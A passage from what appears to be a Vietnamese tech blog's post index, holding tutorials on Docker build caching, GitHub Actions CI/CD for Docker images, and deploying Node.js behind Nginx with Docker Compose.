Dockerfile Có Docker so sánh chuỗi lệnh, khác → rebuild File trong COPY/ADD thay đổi Có Docker tính checksum của file, khác → rebuild Chỉ thay đổi mtime của file Không Docker không xét thời gian sửa đổi, chỉ xét nội dung Lệnh RUN giống hệt lần trước Không Cùng chuỗi lệnh → dùng cache (kể cả kết quả đã cũ) Layer trước đó bị invalidate Có Tất cả layer phía sau đều phải rebuild Ví dụ minh hoạ cache invalidation 1 2 3 4 5 FROM node:18-alpine # Cache hit (không đổi) WORKDIR /app # Cache hit (không đổi) COPY . . # Cache miss (bạn sửa 1 file .js) RUN npm install # Phải rebuild (vì COPY ở trên miss) RUN npm run build # Phải rebuild (vì layer trước miss) Chỉ sửa 1 file .js nhỏ, nhưng npm install phải chạy lại dù package.json không đổi. Đây là vấn đề phổ biến nhất khi viết Dockerfile chưa tối ưu.\nKỹ thuật tối ưu Build Cache Sắp xếp lệnh theo tần suất thay đổi Nguyên tắc: Lệnh ít thay đổi → đặt trước. Lệnh hay thay đổi → đặt sau.\nChưa tối ưu:\n1 2 3 4 5 FROM node:18-alpine WORKDIR /app COPY . . # Copy tất cả (thay đổi thường xuyên) RUN npm install # Phải chạy lại mỗi khi code thay đổi RUN npm run build Đã tối ưu:\n1 2 3 4 5 6 FROM node:18-alpine WORKDIR /app COPY package.json yarn.lock ./ # Ít thay đổi → copy trước RUN npm install # Chỉ rebuild khi dependencies đổi COPY . . # Hay thay đổi → copy sau RUN npm run build Kết quả: Khi chỉ sửa source code, npm install được cache lại → tiết kiệm 2-5 phút mỗi lần build.\nSử dụng .dockerignore File .dockerignore giúp loại bỏ các file không cần thiết khỏi build context, giảm nguy cơ cache bị invalidate vô ích.\n1 2 3 4 5 6 7 8 # .dockerignore node_modules dist .git .env *.log tmp* .DS_Store Tại sao quan trọng? Nếu không có .dockerignore, lệnh COPY . . sẽ copy cả node_modules (hàng trăm MB) và .git vào build context. Bất kỳ thay đổi nào trong các thư mục này đều làm cache miss.\nSử dụng Cache Mounts Cache mounts cho phép lưu trữ cache của package manager giữa các lần build, kể cả khi layer bị rebuild.\nNode.js:\n1 2 3 4 5 6 7 FROM node:18-alpine WORKDIR /app COPY package.json yarn.lock ./ RUN --mount=type=cache,target=/root/.npm \\ npm install COPY . . RUN npm run build Python:\n1 2 3 4 5 6 FROM python:3.11-slim WORKDIR /app COPY requirements.txt ./ RUN --mount=type=cache,target=/root/.cache/pip \\ pip install -r requirements.txt COPY . . Go:\n1 2 3 4 5 6 7 8 FROM golang:1.21-alpine WORKDIR /app COPY go.mod go.sum ./ RUN --mount=type=cache,target=/go/pkg/mod \\ --mount=type=cache,target=/root/.cache/go-build \\ go mod download COPY . . RUN go build -o /app/server Lợi ích: Ngay cả khi package.json thay đổi và layer phải rebuild, các package đã tải trước đó vẫn được lưu trong cache mount → chỉ tải package mới, không tải lại toàn bộ.\nMulti-stage Build Multi-stage build giúp tách quá trình build và runtime, giảm kích thước image cuối cùng và tối ưu cache cho từng giai đoạn.\n1 2 3 4 5 6 7 8 9 10 11 12 13 # Stage 1: Build (layer nặng nhưng không nằm trong image cuối) FROM node:18-alpine AS builder WORKDIR /app COPY package.json yarn.lock ./ RUN npm install COPY . . RUN npm run build # Stage 2: Runtime (chỉ chứa file cần thiết) FROM nginx:alpine AS production COPY --from=builder /app/dist /usr/share/nginx/html EXPOSE 80 CMD [\u0026#34;nginx\u0026#34;, \u0026#34;-g\u0026#34;, \u0026#34;daemon off;\u0026#34;] Stage Mục đích Kích thước Có trong image cuối? builder Build ứng dụng ~500 MB Không production Chạy ứng dụng ~30 MB Có Ví dụ thực tế: Tối ưu Dockerfile cho Node.js Dockerfile chưa tối ưu 1 2 3 4 5 6 FROM node:18 WORKDIR /app COPY . . RUN npm install RUN npm run build CMD [\u0026#34;node\u0026#34;, \u0026#34;dist/server.js\u0026#34;] Vấn đề:\nBase image lớn (node:18 ~ 900 MB) COPY . . trước npm install → mọi thay đổi code đều rebuild dependencies Không có .dockerignore → copy cả node_modules, .git Không dùng multi-stage → image cuối chứa devDependencies Dockerfile đã tối ưu 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # Stage 1: Install dependencies FROM node:18-alpine AS deps WORKDIR /app COPY package.json package-lock.json ./ RUN --mount=type=cache,target=/root/.npm \\ npm ci --only=production # Stage 2: Build FROM node:18-alpine AS builder WORKDIR /app COPY package.json package-lock.json ./ RUN --mount=type=cache,target=/root/.npm \\ npm ci COPY . . RUN npm run build # Stage 3: Runtime FROM node:18-alpine AS runtime WORKDIR /app ENV NODE_ENV=production COPY --from=deps /app/node_modules ./node_modules COPY --from=builder /app/dist ./dist COPY package.json ./ EXPOSE 3000 CMD [\u0026#34;node\u0026#34;, \u0026#34;dist/server.js\u0026#34;] Cải thiện:\nBase image nhỏ (node:18-alpine ~ 170 MB) Tách COPY package.json riêng → cache dependencies hiệu quả Cache mount cho npm → tải lại nhanh khi rebuild Multi-stage → image cuối chỉ chứa production dependencies Sử dụng npm ci thay npm install → đảm bảo reproducible builds So sánh kết quả Tiêu chí Chưa tối ưu Đã tối ưu Kích thước image ~900 MB ~170 MB Build lần đầu ~5 phút ~5 phút Rebuild khi đổi code ~5 phút ~30 giây Rebuild khi đổi deps ~5 phút ~2 phút Các lệnh hữu ích để debug Cache 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Xem chi tiết quá trình build (hiển thị cache hit/miss) docker build --progress=plain -t myapp . # Build không dùng cache (force rebuild toàn bộ) docker build --no-cache -t myapp . # Chỉ invalidate cache cho stage cụ thể docker build --no-cache-filter builder -t myapp . # Xem các layer của image docker history myapp # Xem dung lượng build cache docker builder du # Xoá build cache docker builder prune Đọc output build: Khi build, Docker hiển thị CACHED cho các layer dùng cache:\n1 2 3 4 =\u0026gt; CACHED [deps 2/3] COPY package.json package-lock.json ./ =\u0026gt; CACHED [deps 3/3] RUN npm ci --only=production =\u0026gt; [builder 4/5] COPY . . =\u0026gt; [builder 5/5] RUN npm run build Các dòng có CACHED nghĩa là layer đó được lấy từ cache, không cần rebuild.\nGhi chú triển khai Khi áp dụng vào dự án của bạn, hãy lưu ý các điểm quan trọng: Luôn tạo file .dockerignore trước khi viết Dockerfile Tách COPY package.json riêng trước RUN npm install Sử dụng multi-stage build cho production image Cache mount (--mount=type=cache) cần BuildKit (mặc định từ Docker 23.0+) Best practices: Sắp xếp lệnh: ít thay đổi → trước, hay thay đổi → sau Dùng npm ci thay npm install trong CI/CD Pin version cụ thể cho base image (node:18.12-alpine thay vì node:latest) Troubleshooting: Build chậm dù không đổi gì? → Kiểm tra .dockerignore, có thể file không liên quan đang trigger cache miss Cache mount không hoạt động? → Đảm bảo Docker BuildKit đang bật: DOCKER_BUILDKIT=1 Muốn xem layer nào bị miss? → Dùng docker build --progress=plain Lời kết Tóm tắt lại:\nLayer = mỗi lệnh trong Dockerfile tạo ra một lớp trong image Build Cache = Docker lưu lại kết quả các layer để dùng lại khi rebuild Cache invalidation = khi một layer thay đổi, tất cả layer phía sau đều phải rebuild Tối ưu = sắp xếp lệnh hợp lý + .dockerignore + cache mounts + multi-stage build Chỉ cần hiểu và áp dụng 4 kỹ thuật trên, bạn có thể giảm thời gian build Docker từ 5 phút xuống dưới 30 giây cho phần lớn trường hợp.\nNếu bạn thấy bài viết này hữu ích, hãy nhớ star repo hoặc chia sẻ với bạn bè nhé!\nTài liệu tham khảo Docker Official Documentation - Build Cache Docker Official Documentation - Cache Invalidation Docker Official Documentation - Optimize Cache Best practices for writing Dockerfiles ","date":"22/03/2026","image":"https://tech.nguuyen.io.vn/images/docker/docker-build-cache-layering.webp","permalink":"/vi/posts/docker/docker-build-cache-layering/","summary":"Hiểu rõ cơ chế Layer và Build Cache trong Docker - tại sao build chậm và cách tối ưu để build nhanh hơn.","tags":["docker","build-cache","layering","optimization","dockerfile"],"title":"Docker Build Cache \u0026 Layering"},{"categories":["Docker"],"content":"GitHub Actions + Docker — Tự động hóa từ code đến container Khi bạn đã biết viết Dockerfile và dùng Docker Compose, bước tiếp theo là tự động hóa quá trình build và push Docker image mỗi khi code thay đổi. GitHub Actions là công cụ CI/CD miễn phí tích hợp sẵn trong GitHub, rất phù hợp để bắt đầu.\nTrong bài viết này, mình sẽ hướng dẫn bạn từ cơ bản đến thực hành: tạo workflow build Docker image, push lên registry, và tối ưu với cache.\nGitHub Actions là gì? GitHub Actions là nền tảng CI/CD được tích hợp trực tiếp trong GitHub, cho phép bạn tự động hóa workflow phát triển phần mềm ngay trong repository.\nCác khái niệm cơ bản Khái niệm Giải thích Workflow File YAML định nghĩa pipeline, lưu trong .github/workflows/ Event Sự kiện kích hoạt workflow (push, pull_request, tag\u0026hellip;) Job Một nhóm các bước (steps) chạy trên cùng một runner Step Một bước đơn lẻ trong job (chạy lệnh hoặc dùng action) Action Thành phần tái sử dụng, có thể do cộng đồng hoặc Docker cung cấp Runner Máy ảo thực thi workflow (GitHub cung cấp miễn phí Ubuntu, Windows, macOS) Cấu trúc thư mục 1 2 3 4 5 6 7 my-project/ ├── .github/ │ └── workflows/ │ └── docker-build.yml # Workflow file ├── Dockerfile ├── src/ └── ... Docker Official Actions Docker cung cấp bộ Actions chính thức giúp bạn build và push image một cách chuẩn hóa:\nAction Chức năng docker/login-action Đăng nhập vào Docker registry docker/setup-buildx-action Thiết lập Docker Buildx (hỗ trợ build nâng cao) docker/build-push-action Build và push Docker image docker/metadata-action Tự động tạo tags và labels từ Git metadata docker/setup-qemu-action Cài QEMU cho multi-platform build Workflow cơ bản — Build và Push lên Docker Hub Chuẩn bị secrets Trước khi tạo workflow, bạn cần thêm secrets trong repo GitHub:\nVào Settings → Secrets and variables → Actions Thêm 2 secrets: DOCKERHUB_USERNAME — Tên tài khoản Docker Hub DOCKERHUB_TOKEN — Access token (tạo tại hub.docker.com/settings/security) Tạo workflow file 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # .github/workflows/docker-build.yml name: Build and Push Docker Image on: push: branches: [main] pull_request: branches: [main] jobs: build: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v4 - name: Login to Docker Hub uses: docker/login-action@v3 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - name: Set up Docker Buildx uses: docker/setup-buildx-action@v3 - name: Build and push uses: docker/build-push-action@v6 with: context: . push: ${{ github.event_name != \u0026#39;pull_request\u0026#39; }} tags: ${{ secrets.DOCKERHUB_USERNAME }}/myapp:latest Giải thích từng phần Phần Ý nghĩa on: push: branches: [main] Chạy workflow khi push code lên branch main on: pull_request Chạy khi tạo PR (chỉ build, không push) actions/checkout@v4 Clone code từ repo về runner docker/login-action@v3 Đăng nhập Docker Hub bằng secrets docker/setup-buildx-action@v3 Cài Docker Buildx — hỗ trợ cache, multi-platform docker/build-push-action@v6 Build image từ Dockerfile và push lên registry push: ${{ github.event_name != 'pull_request' }} Chỉ push image khi không phải PR (tránh push image chưa review) Push lên GitHub Container Registry (GHCR) Ngoài Docker Hub, bạn có thể push image lên GHCR — registry miễn phí của GitHub, tiện lợi vì không cần tạo tài khoản bên ngoài.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 # .github/workflows/docker-ghcr.yml name: Build and Push to GHCR on: push: branches: [main] tags: [\u0026#34;v*\u0026#34;] permissions: contents: read packages: write jobs: build: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v4 - name: Login to GitHub Container Registry uses: docker/login-action@v3 with: registry: ghcr.io username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - name: Set up Docker Buildx uses: docker/setup-buildx-action@v3 - name: Extract metadata (tags, labels) id: meta uses: docker/metadata-action@v5 with: images: ghcr.io/${{ github.repository }} tags: | type=ref,event=branch type=semver,pattern={{version}} type=semver,pattern={{major}}.{{minor}} type=sha - name: Build and push uses: docker/build-push-action@v6 with: context: . push: true tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} Điểm khác biệt so với Docker Hub Tiêu chí Docker Hub GHCR Registry URL docker.io (mặc định) ghcr.io Authentication Username + Access Token GITHUB_TOKEN (tự động) Giá Miễn phí (giới hạn pull) Miễn phí (theo quota GitHub) Tích hợp Phổ biến nhất Tích hợp sâu với GitHub Tự động tạo tags với Metadata Action Thay vì đặt tag thủ công (latest, v1.0), bạn có thể dùng docker/metadata-action để tự động tạo tags dựa trên Git events:\n1 2 3 4 5 6 7 8 9 10 11 - name: Extract metadata id: meta uses: docker/metadata-action@v5 with: images: user/myapp tags: | type=ref,event=branch type=ref,event=pr type=semver,pattern={{version}} type=semver,pattern={{major}}.{{minor}} type=sha Kết quả tags theo từng event Git Event Ví dụ Docker Tag Push branch main refs/heads/main main Push branch dev refs/heads/dev dev Pull Request #42 refs/pull/42/merge pr-42 Push tag v1.2.3 refs/tags/v1.2.3 1.2.3, 1.2 Commit SHA abc1234 sha-abc1234 Tối ưu build với Cache Mỗi lần workflow chạy, Docker phải build lại từ đầu. Để tăng tốc đáng kể, hãy sử dụng cache.\nGitHub Actions Cache (Khuyến nghị) 1 2 3 4 5 6 7 8 - name: Build and push uses: docker/build-push-action@v6 with: context: . push: true tags: user/myapp:latest cache-from: type=gha cache-to: type=gha,mode=max Ưu điểm: Đơn giản nhất, sử dụng GitHub Cache API, không cần cấu hình thêm.\nRegistry Cache 1 2 3 4 5 6 7 8 - name: Build and push uses: docker/build-push-action@v6 with: context: . push: true tags: user/myapp:latest cache-from: type=registry,ref=user/myapp:buildcache cache-to: type=registry,ref=user/myapp:buildcache,mode=max Ưu điểm: Cache được lưu trên registry, có thể chia sẻ giữa nhiều CI runners.\nSo sánh các loại cache Loại cache Ưu điểm Nhược điểm GitHub Actions (gha) Đơn giản, không cần setup thêm Giới hạn 10GB/repo Registry Chia sẻ được, persistent Tốn bandwidth upload Inline Gắn liền với image Chỉ hỗ trợ min mode Ví dụ thực tế — Workflow hoàn chỉnh Dưới đây là workflow hoàn chỉnh kết hợp tất cả best practices:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 # .github/workflows/docker-ci.yml name: Docker CI/CD on: push: branches: [main, dev] tags: [\u0026#34;v*.*.*\u0026#34;] pull_request: branches: [main] env: REGISTRY: ghcr.io IMAGE_NAME: ${{ github.repository }} permissions: contents: read packages: write jobs: build-and-push: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v4 - name: Set up Docker Buildx uses: docker/setup-buildx-action@v3 - name: Login to GHCR if: github.event_name != \u0026#39;pull_request\u0026#39; uses: docker/login-action@v3 with: registry: ${{ env.REGISTRY }} username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - name: Extract metadata id: meta uses: docker/metadata-action@v5 with: images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} tags: | type=ref,event=branch type=ref,event=pr type=semver,pattern={{version}} type=semver,pattern={{major}}.{{minor}} type=sha - name: Build and push uses: docker/build-push-action@v6 with: context: . push: ${{ github.event_name != \u0026#39;pull_request\u0026#39; }} tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} cache-from: type=gha cache-to: type=gha,mode=max Luồng hoạt động 1 2 3 4 5 6 7 8 9 10 11 12 13 Developer push code lên GitHub ↓ GitHub Actions tự động kích hoạt ↓ Checkout code → Setup Buildx → Login Registry ↓ Tự động tạo tags từ Git metadata ↓ Build Docker image (có cache) ↓ Push image lên GHCR (nếu không phải PR) ↓ Image sẵn sàng để deploy Troubleshooting phổ biến Lỗi authentication Lỗi:\n1 Error: denied: denied Nguyên nhân: Secrets chưa được cấu hình hoặc token hết hạn.\nGiải pháp:\nKiểm tra secrets trong Settings → Secrets and variables → Actions Với GHCR: đảm bảo có permissions: packages: write trong workflow Với Docker Hub: tạo lại Access Token tại hub.docker.com Build chậm Nguyên nhân: Không sử dụng cache hoặc Dockerfile chưa tối ưu layer.\nGiải pháp:\n1 2 3 # Thêm cache vào build step cache-from: type=gha cache-to: type=gha,mode=max Và đảm bảo Dockerfile tận dụng layer caching (copy package.json trước, COPY . . sau).\nLỗi permission khi push lên GHCR Lỗi:\n1 Error: unexpected status from HEAD request: 403 Forbidden Giải pháp: Thêm permissions vào workflow:\n1 2 3 permissions: contents: read packages: write Ghi chú triển khai Khi áp dụng vào dự án của bạn, hãy lưu ý các điểm quan trọng: Luôn dùng secrets cho credentials, không bao giờ hardcode token trong workflow Sử dụng push: ${{ github.event_name != 'pull_request' }} để tránh push image từ PR chưa review Pin version cho actions (dùng @v3, @v6 thay vì @main) Best practices: Sử dụng docker/metadata-action để quản lý tags tự động Bật cache (type=gha) để tăng tốc build Tách workflow cho build + test và deploy riêng biệt Troubleshooting: Xem logs chi tiết trong tab Actions của repo GitHub Dùng docker compose config để validate cấu hình trước khi push Kiểm tra quota cache GitHub tại Settings → Actions → Cache Lời kết GitHub Actions + Docker là combo mạnh mẽ để tự động hóa pipeline từ code đến container image. Với các workflow trong bài viết này, bạn có thể:\nTự động build Docker image mỗi khi push code Push image lên Docker Hub hoặc GHCR Tự động tạo tags theo Git metadata (branch, tag, SHA) Tối ưu tốc độ build với cache Nếu bạn thấy bài viết này hữu ích, hãy nhớ star repo hoặc chia sẻ với bạn bè nhé!\nTài liệu tham khảo GitHub Actions Documentation — Tài liệu chính thức GitHub Actions Docker Build GitHub Actions — Hướng dẫn chính thức Docker cho GitHub Actions Docker/build-push-action — Repository chính thức của Build and Push Action Cache management with GitHub Actions — Hướng dẫn cache cho Docker build trên GitHub Actions ","date":"08/03/2026","image":"https://tech.nguuyen.io.vn/images/docker/github-actions-ci-cd-docker.webp","permalink":"/vi/posts/docker/github-actions-ci-cd-docker/","summary":"Hướng dẫn thiết lập pipeline CI/CD với GitHub Actions để tự động build, test và push Docker image lên Docker Hub và GitHub Container Registry (GHCR).","tags":["docker","github-actions","ci-cd","devops","automation","beginner"],"title":"CI/CD với GitHub Actions cho ứng dụng Docker"},{"categories":["Docker"],"content":"Triển khai Node.js với Docker + Nginx — Case Study Bạn đã viết xong API bằng Node.js, test local ngon lành. Nhưng khi đưa lên server thật, bạn gặp hàng loạt câu hỏi:\nLàm sao chạy app ổn định, tự restart khi crash? Làm sao để client không truy cập thẳng vào port 3000? Làm sao xử lý SSL, rate limit, static files? Câu trả lời: Docker + Nginx reverse proxy. Trong bài viết này, tôi sẽ hướng dẫn bạn triển khai một ứng dụng Node.js (Express) từ đầu đến cuối, sử dụng Docker để đóng gói và Nginx làm reverse proxy phía trước.\nKiến trúc tổng quan 1 2 3 4 5 6 7 8 9 10 11 12 13 Client (Browser / Mobile) │ ▼ ┌──────────┐ │ Nginx │ ← Port 80/443 (HTTP/HTTPS) │ (proxy) │ └────┬─────┘ │ proxy_pass http://app:3000 ▼ ┌──────────┐ │ Node.js │ ← Port 3000 (internal) │ (Express)│ └──────────┘ Nginx đứng trước nhận request từ client, sau đó chuyển tiếp (proxy) đến Node.js chạy bên trong. Client không bao giờ truy cập trực tiếp vào Node.js.\nTại sao cần Nginx phía trước?\nLý do Giải thích Reverse proxy Ẩn port thật của app, client chỉ thấy port 80/443 Static files Nginx phục vụ file tĩnh (CSS, JS, ảnh) nhanh hơn Node.js rất nhiều SSL termination Nginx xử lý HTTPS, Node.js chỉ nhận HTTP thuần Rate limiting Giới hạn request ở tầng Nginx, bảo vệ Node.js khỏi quá tải Load balancing Khi scale nhiều instance Node.js, Nginx phân phối request Bước 1: Tạo ứng dụng Node.js (Express) Cấu trúc project 1 2 3 4 5 6 7 8 9 10 my-app/ ├── src/ │ └── server.js ├── package.json ├── package-lock.json ├── Dockerfile ├── .dockerignore ├── nginx/ │ └── default.conf └── docker-compose.yml File package.json 1 2 3 4 5 6 7 8 9 10 11 { \u0026#34;name\u0026#34;: \u0026#34;my-app\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;1.0.0\u0026#34;, \u0026#34;main\u0026#34;: \u0026#34;src/server.js\u0026#34;, \u0026#34;scripts\u0026#34;: { \u0026#34;start\u0026#34;: \u0026#34;node src/server.js\u0026#34; }, \u0026#34;dependencies\u0026#34;: { \u0026#34;express\u0026#34;: \u0026#34;^4.21.0\u0026#34; } } File src/server.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const express = require(\u0026#34;express\u0026#34;); const app = express(); const PORT = process.env.PORT || 3000; app.get(\u0026#34;/\u0026#34;, (req, res) =\u0026gt; { res.json({ message: \u0026#34;Hello from Node.js!\u0026#34;, timestamp: new Date() }); }); app.get(\u0026#34;/health\u0026#34;, (req, res) =\u0026gt; { res.json({ status: \u0026#34;ok\u0026#34; }); }); app.listen(PORT, \u0026#34;0.0.0.0\u0026#34;, () =\u0026gt; { console.log(`Server running on port ${PORT}`); }); Lưu ý: app.listen(PORT, \u0026quot;0.0.0.0\u0026quot;) — phải bind 0.0.0.0 để container nhận được request từ bên ngoài. Nếu bind 127.0.0.1 (localhost), Nginx sẽ không thể kết nối đến app.\nBước 2: Viết Dockerfile cho Node.js File .dockerignore 1 2 3 4 node_modules npm-debug.log .git .env Theo tài liệu chính thức của Docker, Dockerfile cho Node.js nên dùng multi-stage build, tạo non-root user và sử dụng cache mount để tối ưu.\nFile Dockerfile 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # Stage 1: Install dependencies FROM node:18-alpine AS deps WORKDIR /app COPY package.json package-lock.json ./ RUN --mount=type=cache,target=/root/.npm \\ npm ci --only=production # Stage 2: Production FROM node:18-alpine AS production WORKDIR /app # Tạo non-root user (theo best practice từ Docker docs) RUN addgroup -g 1001 -S nodejs \u0026amp;\u0026amp; \\ adduser -S nodejs -u 1001 -G nodejs ENV NODE_ENV=production COPY --from=deps /app/node_modules ./node_modules COPY src ./src COPY package.json ./ USER nodejs EXPOSE 3000 CMD [\u0026#34;node\u0026#34;, \u0026#34;src/server.js\u0026#34;] Giải thích:\nKỹ thuật Mục đích node:18-alpine Base image nhỏ (~170 MB thay vì ~900 MB của node:18) Multi-stage build Stage deps cài dependencies, stage production chỉ copy kết quả npm ci Cài đặt chính xác theo package-lock.json, đảm bảo reproducible builds --mount=type=cache Cache npm packages giữa các lần build Non-root user Không chạy app bằng root, tăng bảo mật COPY src ./src Chỉ copy source code cần thiết, không copy toàn bộ project Bước 3: Cấu hình Nginx làm Reverse Proxy File nginx/default.conf Theo tài liệu chính thức của Nginx, directive proxy_pass được dùng để chuyển tiếp request đến server khác. Các header proxy_set_header cần được thiết lập để server backend nhận đúng thông tin client.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 upstream nodejs_app { server app:3000; } server { listen 80; server_name _; # Giới hạn kích thước request body (chống upload quá lớn) client_max_body_size 10m; location / { proxy_pass http://nodejs_app; # Chuyển tiếp thông tin client gốc đến Node.js proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # Hỗ trợ WebSocket (nếu app cần) proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; } # Health check endpoint (Nginx trả thẳng, không cần qua Node.js) location = /nginx-health { access_log off; return 200 \u0026#34;ok\u0026#34;; add_header Content-Type text/plain; } } Giải thích các directive quan trọng:\nDirective Ý nghĩa upstream nodejs_app Định nghĩa nhóm backend server. Khi scale nhiều instance, thêm server vào đây proxy_pass http://nodejs_app Chuyển tiếp request đến upstream đã định nghĩa proxy_set_header Host $host Giữ nguyên hostname gốc từ client (mặc định Nginx đổi thành $proxy_host) proxy_set_header X-Real-IP Gửi IP thật của client đến Node.js (không phải IP của Nginx) proxy_set_header X-Forwarded-For Chuỗi IP qua các proxy, giúp Node.js biết client thật proxy_set_header X-Forwarded-Proto Cho Node.js biết client dùng HTTP hay HTTPS proxy_http_version 1.1 Bắt buộc để hỗ trợ WebSocket và keep-alive Bước 4: Docker Compose — Kết nối tất cả Theo Docker Compose production guide, khi deploy production nên: bỏ volume bind cho code, set restart policy, và tách file compose cho từng môi trường.\nFile docker-compose.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 services: app: build: context: . dockerfile: Dockerfile target: production container_name: nodejs-app restart: unless-stopped environment: - NODE_ENV=production - PORT=3000 expose: - \u0026#34;3000\u0026#34; healthcheck: test: [ \u0026#34;CMD\u0026#34;, \u0026#34;wget\u0026#34;, \u0026#34;--quiet\u0026#34;, \u0026#34;--tries=1\u0026#34;, \u0026#34;--spider\u0026#34;, \u0026#34;http://localhost:3000/health\u0026#34;, ] interval: 30s timeout: 5s retries: 3 start_period: 10s networks: - app-network nginx: image: nginx:1.27-alpine container_name: nginx-proxy restart: unless-stopped ports: - \u0026#34;80:80\u0026#34; volumes: - ./nginx/default.conf:/etc/nginx/conf.d/default.conf:ro depends_on: app: condition: service_healthy networks: - app-network networks: app-network: driver: bridge Các điểm quan trọng:\nCấu hình Giải thích expose: \u0026quot;3000\u0026quot; Chỉ mở port nội bộ giữa các container, không expose ra host ports: \u0026quot;80:80\u0026quot; Chỉ Nginx được expose ra ngoài depends_on: condition: service_healthy Nginx chỉ start sau khi Node.js healthy restart: unless-stopped Tự restart khi crash, trừ khi bạn chủ động stop :ro (read-only) Mount config Nginx ở chế độ chỉ đọc networks: app-network Cả 2 container cùng network, Nginx gọi app:3000 qua tên service Bước 5: Build và chạy 1 2 3 4 5 6 7 8 # Build và chạy tất cả docker compose up --build -d # Xem logs docker compose logs -f # Kiểm tra trạng thái docker compose ps Kiểm tra hoạt động:\n1 2 3 4 5 6 7 8 # Request qua Nginx (port 80) curl http://localhost # Kiểm tra health của Node.js curl http://localhost/health # Kiểm tra health của Nginx curl http://localhost/nginx-health Kết quả mong đợi:\n1 { \u0026#34;message\u0026#34;: \u0026#34;Hello from Node.js!\u0026#34;, \u0026#34;timestamp\u0026#34;: \u0026#34;2026-02-10T12:00:00.000Z\u0026#34; } Bước 6: Deploy lại khi thay đổi code Theo Docker Compose docs, khi cập nhật code, bạn chỉ cần rebuild service cần thiết:\n1 2 3 # Rebuild chỉ service app (không ảnh hưởng Nginx) docker compose build app docker compose up --no-deps -d app Flag --no-deps đảm bảo chỉ restart service app, không restart Nginx. Client không bị gián đoạn.\nMở rộng: Scale nhiều instance Node.js Khi traffic tăng, bạn có thể chạy nhiều instance Node.js và để Nginx load balance:\n1 docker compose up --scale app=3 -d Cập nhật nginx/default.conf để Nginx biết có nhiều instance:\n1 2 3 4 5 upstream nodejs_app { # Docker Compose DNS tự động resolve tên service # thành tất cả container IP đang chạy server app:3000; } Khi dùng Docker Compose với --scale, Docker DNS tự động resolve app thành tất cả IP của các container app. Nginx sẽ round-robin request đến từng instance.\nGhi chú triển khai Khi áp dụng vào dự án của bạn, hãy lưu ý: Luôn dùng expose thay vì ports cho service backend — chỉ Nginx mới cần expose ra ngoài Bind 0.0.0.0 trong Node.js, không bind 127.0.0.1 Dùng npm ci thay npm install để đảm bảo reproducible builds Tạo non-root user trong Dockerfile cho bảo mật Best practices: Dùng docker compose up --no-deps -d app khi chỉ cần redeploy app Pin version cho base image (node:18-alpine, nginx:1.27-alpine) thay vì latest Tách docker-compose.prod.yml riêng cho production config Troubleshooting: Nginx báo 502 Bad Gateway? → Node.js chưa start xong hoặc bind sai address. Kiểm tra docker compose logs app Không kết nối được giữa Nginx và Node.js? → Đảm bảo cả 2 cùng network và dùng đúng tên service trong proxy_pass Request bị timeout? → Kiểm tra client_max_body_size và proxy_read_timeout trong Nginx config Lời kết Tóm tắt lại flow triển khai:\nViết app Node.js (Express) với health check endpoint Dockerfile multi-stage build + non-root user Nginx config reverse proxy với proxy_pass và các header cần thiết Docker Compose kết nối app + Nginx, chỉ expose port 80 Deploy bằng docker compose up --build -d Update bằng docker compose build app \u0026amp;\u0026amp; docker compose up --no-deps -d app Đây là kiến trúc cơ bản nhất để đưa một ứng dụng Node.js lên production. Từ đây bạn có thể mở rộng thêm SSL (Let\u0026rsquo;s Encrypt), database, monitoring tuỳ nhu cầu.\nNếu bạn thấy bài viết này hữu ích, hãy nhớ star repo hoặc chia sẻ với bạn bè nhé!\nTài liệu tham khảo Docker Official - Containerize Node.js — Hướng dẫn chính thức Docker cho Node.js Docker Compose in Production — Hướng dẫn deploy production với Compose Nginx Reverse Proxy — Tài liệu chính thức cấu hình reverse proxy Nginx Beginner\u0026rsquo;s Guide — Hướng dẫn cơ bản từ nginx.org ","date":"10/02/2026","image":"https://tech.nguuyen.io.vn/images/docker/deploy-nodejs-docker-nginx.webp","permalink":"/vi/posts/docker/deploy-nodejs-docker-nginx/","summary":"Case study triển khai ứng dụng Node.js (Express) với Docker và Nginx reverse proxy — từ viết code đến chạy production bằng Docker Compose.","tags":["docker","nodejs","nginx","reverse-proxy","docker-compose","deployment","beginner"],"title":"Triển khai Node.js với Docker + Nginx"},{"categories":["Docker"],"content":"Docker Compose v2 - Công cụ quản lý multi-container Docker Compose là công cụ giúp bạn định nghĩa và chạy nhiều container cùng lúc thông qua file YAML. Phiên bản v2 mang đến nhiều cải tiến về hiệu suất và tính năng mới.\nI. Cài 